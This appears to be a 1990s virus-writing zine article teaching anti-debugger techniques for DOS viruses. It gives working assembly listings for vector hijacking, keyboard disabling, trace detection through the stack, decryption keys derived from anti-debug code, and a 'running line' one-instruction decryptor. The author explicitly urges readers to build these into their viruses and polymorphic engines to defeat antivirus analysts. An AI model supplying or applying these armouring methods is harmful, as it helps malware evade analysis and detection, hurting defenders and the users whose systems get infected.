Anti-Debugger Techniques ~~~~~~~~~~~~~~~~~~~~~~~~ -THE-MASTER-HIDES-BEHIND-THE-MASK- Ok, now the AV can not even get your virus to infect their bait files, and if they do finally manage, they will have great problems in getting a complete, accurate view of what they are dealing with. There is two things they can do: 1. Disassemble your Anti-Bait code, and create a Bait maker to fool it. 2. Disassemble your Polymorphic engine, and work out what to look for. Both of the above can be defeated by using Anti-Debugger Techniques. The first is defeated by keeping your Anti - Bait routines encrypted, and heavilly armoured, to prevent disassembly. The second can be defeated by using the same methods on your polymorphic engine. This section has been designed to tell you how to do it. Anti-Debugger Techniques: The Obvious ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ There are many simple and trivial ways to thwart debuggers. This document will deal mainly with more advanced methods. The simple methods outlined in this section can be seen in the code example of "Using Your Anti-Debug Routines as the Decryption Key", later on in this document. Perhaps the most obvious way to kill a debugger, is to overwrite the Interrupt Vector of Interrupts 1 (Debug Single Step), and 3 (Debug Break Point). This can be defeated by simply skipping the instructions. Another thing you could do, is place an INT 3 in a long loop, which will cause the debugger to stop at the INT 3 each iteration, which will stop the AV from simply proceeding through the loop. This is very easilly defeated by NOP'ing out the INT 3. Another thing to do, is turn of the keyboard. There are manyways to do this, but the simplest is: IN AL,20h ;Turn of Keyboard IRQ OR AL,02 OUT AL,20 IN AL,20 ;Enable Keyboard IRQ AND AL,NOT 2 OUT AL,20 Anti-Debugger Techniques: Interrupt Replacement ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This technique involves replacing the vector of a INTERRUPT 1/3 with the interrupt off another interrupt, and calling that instead. This works especially well with INT 3, as it is only 1 byte long, and can not simply be replaced with the proper Interrupt. Here is an example of INT replacement from the virus [H8urNMEs]. It changes INT 3 to point to the tunneled INT 21, and calls INT 3 for all DOS requests: ------------------------------------------------------------------------ mov ax,3503 int 21 mov int_3_seg,es mov int_3_off,bx lds dx, site_traced_off mov ax,2503 int 21 mov ds,cs mov ax,3524 int 3 mov int_24_seg,es mov int_24_off,bx ------------------------------------------------------------------------ It simply makes INT 3 point to DOS, and uses this fact to fetch the INT 24 vector. Anti-Debugger Techniques: INT 1 Tracing Destroys the Stack ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ When tracing through code, with INT 1, the 6 bytes below SP are overwritten with the pushed returnig IP, CS, and Flags. There are 2 ways to take advantage of this fact. The first is to PUSH a value on to the stack, POP it, and then adjust SP and POP it again to see if it changes. If it has, the code has been traced. Here is an example: ------------------------------------------------------------------------ PUSH AX POP AX DEC SP DEC SP POP BX ;BX should point to the pushed AX. CMP AX,BX JNE CODE_IS_TRACED ------------------------------------------------------------------------ The second way is to store a critigal value like a Decryption key in SP. This value should also point to the code, and you should NOT use any stack operations. This way, if a debugger is running, the code that SP points to will be overwritten. Here is a complete program to illustrate it. To make it run properly, you must have to encrypt it. I will not how you how.. If you can not work it out you should not even be reading this. It also has the added advantage of avoiding the TBAV '#' (decryptor) flag. Any way here it is: ------------------------------------------------------------------------ ;STACK.ASM radix 16 elength equ (end - estart)/2 org 100 mov bp,sp cli mov sp,estart sti mov bx,sp mov cx,elength eloop: xor cs:[bx],sp ;SP is decryption key. inc bx inc bx ;If a Debugger is running, cli ;All the code after ESTART will be add sp,6 ;overwritten. sti loop eloop estart: cli mov sp,bp sti mov ah,9 mov dx,offset msg - 12 add dx,12 int 21 mov ah,4c int 21 msg db 'Yeah!!$' end: ------------------------------------------------------------------------ Anti-Debugger Techniques: Use Your Anti-Debug Routines as The Decrypt Key ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This is a lot easier to do then it sounds. Basically, all you have to do is retreive a byte from the Anti - Debugger routines each time, and use it to modify your decryption routine in some manor. Of course the code you are decrypting must have been encrypted in a corresponding manner! Any way, here is a code fragment example: ------------------------------------------------------------------------ ;This code LODSBs a byte from the Anti-Debug routine, on each iteration, ;and ADDs it to the XOR key. Because of this the AV can not simply NOP ;out the INT 3, and other traps in the Anti-Debug routine which is called ;on each iteration! DEC_START is assumed to be the offset of the start of ;the encrypted code, while DEC_LENGTH is the number of bytes to decrypt. mov dl,0aa ;initial key. decrypt: mov di,offset dec_start mov cx,dec_length mov si,offset decrypt ;offset of code to use ;to modify decryption key. dec_loop: lodsb ;AL=byte from anti-debug ;routines add dl,al ;MODIFY KEY. If code has been ;modified, the key will be ;wrong. xor [di],dl ;decrypt inc di call anti_debug ;kill debuggers. ;this call cant be NOP'd out, ;as it is part of the Decrypt ;key. cmp si,offset end_ad ;if SI has reached end of jne no_fix ;anti-debug code, reset it. mov si,offset decrypt no_fix: loop dec_loop jmp dec_start ;JMP past Anti_Debug to ;the newly decrypted code.. Anti_Debug: in al,20 ;get IRQ status. or al,2 ;Disable IRQ 1 (keyboard) out 20,al int 3 ;stop the debugger on each loop (you cant int 3 ;NOP these out!), note that when the debugger ;stops here, the keyboard will be disabled, ;so the can't do any thing! push ax push ds xor ax,ax mov ds,ax xchg ax,[4] ;Kill INT 1 int 3 ;Fuck with their heads xchg ax,[4] ;restore INT 1 pop ds mov ax,offset ad_jmp ;destination of JMP push ax pop ax dec ax dec ax ;if this code was traced, AX will no longer pop ax ;be equal to the JMP destination jmp ax pop ax ret (BELOW CODE IS ENCRYPTED) dec_start: in al,20 and al,NOT 2 out 20,al ;Re-Enable Key board.. ------------------------------------------------------------------------ Anti-Debugger Techniques: The Running Line ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The last method, I am going to illustrate, is called the Running Line. It is VERY resistant to debuggers. It involves hooking INT 1, and Decrypting each instruction _JUST BEFORE_ it's run, and Re-Encrypting it _STRAIGH AFTER_ it has been executed. This way, only _1_ instruction at a time is decrypted in memory. Here is a fully working example. ------------------------------------------------------------------------ ;RUNLINE.ASM radix 16 org 100 xor ax,ax ;ax=0 mov es,ax ;es=ax=0 mov di,es:W[4] mov si,es:W[6] ;save int 1 vector mov es:W[4],offset tracer mov es:W[6],cs ;int1 = cs:tracer mov bp,sp pushf or B[bp-1],1 ;set TRACE flag popf ;set it xor dx,dx ;this serves no purpose, and ;is just here because the first ;instruction after setting the ;flag is not traced. ;********************************************************************** ;** The below data, is the Encrypted instructions. The INT 1 handler ** ;** only decrypts instruction on WORD (EVEN) boundaries. It XORs the ** ;** instruction (WORD) with its offset in CS (ie. it's IP when it's ** ;** run). Thats why each word is XOR'd with $ (it's position). ** ;********************************************************************** dw 01f0e XOR $ ;PUSH CS / POP DS dw 009b4 XOR $ ;MOV AH,9h dw 0ba90 XOR $ ;NOP / MOV DX, dw offset msg ;offset msg dw 021cd XOR $ ;INT 21h dw 0e589 XOR $ ;MOV BP,SP dw 06680 XOR $ ;AND B[BP+, dw 0feff ;FF],FE (turn off TRACE flag). last_enc equ $ dw 0bb9d XOR $ ;POPF / MOV BX, dw last_enc ;LAST_ENC xor cs:W[bx],bx ;re-encrypt last instruction.. mov es:W[4],di mov es:W[6],si ;restore int 1 vector mov ah,4c int 21 ;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ;THINGS TO NOTE FROM THE ABOVE: Firstly, in the instructions ; NOP ; MOV DX,OFFSET MSG ;the MOV DX opcode is on an odd boundary, and hence, the decryptor will ;not decrypt it. Secondly the 'DW OFFSET MSG' in MOV DX,OFFSET MSG ;is not encrypted, because it it is data from another instruction, and ;therefore it will never be executed, and passed to the INT 1 handler. ;The same goes for the +FF(-1),FE in the AND B[BP-1],FE. ;********************************************************************** ;** The following procedure, is the work horse of this code. The CPU ** ;** will call this INT 1 handler before each opcode as long as the ** ;** TRACE flag is set. Unlike most INT 1 handlers that you'll see in ** ;** virii, this contains no defensive traps. This is because we are ** ;** tracing our own code, and not unknown (possibly hostile) code. ** ;** It retrieves the calling IP from the stack, and if it is odd, ** ;** exits. If even, it will re-encrypt the previous instruction, and ** ;** decrypt the current one. It saves the calling IP, so that it can ** ;** re-encrypt it when it is called for the next instruction. ** ;********************************************************************** tracer: push bp ;save BP mov bp,sp ;BP=SP for reference point of stack. push si ;save SI mov bp,W[bp+2] ;BP = calling IP (position of ;encrypted instruction). test bp,1 ;check if on an odd boundry.. jnz is_odd ;it is so leave. mov si,cs:last ;else get the position of the last ;decrypted instruction to reincrypt. mov cs:last,bp ;save current position for next time. xor cs:W[si],si ;re-encrypt last (XOR it with its IP) xor cs:W[bp],bp ;decrypt current (XOR it with its IP) is_odd: pop si ;restore SI pop bp ;restore BP iret ;adeos! last dw 0 ;last IP for re-encrpytion.. msg db 'Yeah!!$' ;EVERYBODY SAY YEAH!!!! ------------------------------------------------------------------------ CONCLUSION ~~~~~~~~~~ -TAUGHT-WHEN-WE-ARE-YOUNG-TO-HATE-ONE-ANOTHER- I STRONGLY urge you to employ the above techniques in your virii and/or poly engine. If your virus refuses to infect bait files, is VERY heavilly armoured, so the can not decrypt it, and dissasemble it, and mutates so slowly, and on such obscure conditions, HOW ARE THEY GOING TO IT? Devising an algorith for such a virus would be _VERY_ difficult. BYE -- BYE ~~~~~~~~~~ Thank you reading this article. I hope it's been as interesting to read as it has been to write!! Hopefully, we will be seeing the AV having to work _ALOT_ harder for their money too ;). Alternitively, this could be some help to the AV community, so they can see what lies ahead. If you have any questions, comments, critisms, or new ideas, you can get in touch with me on IRC, channel #VIRUS, Nickname 'Sepultura' or 'Sep'. I would really appreciate _ANY_ comments (excpet 'Get Bent!!'). - THE - END - ================================================================================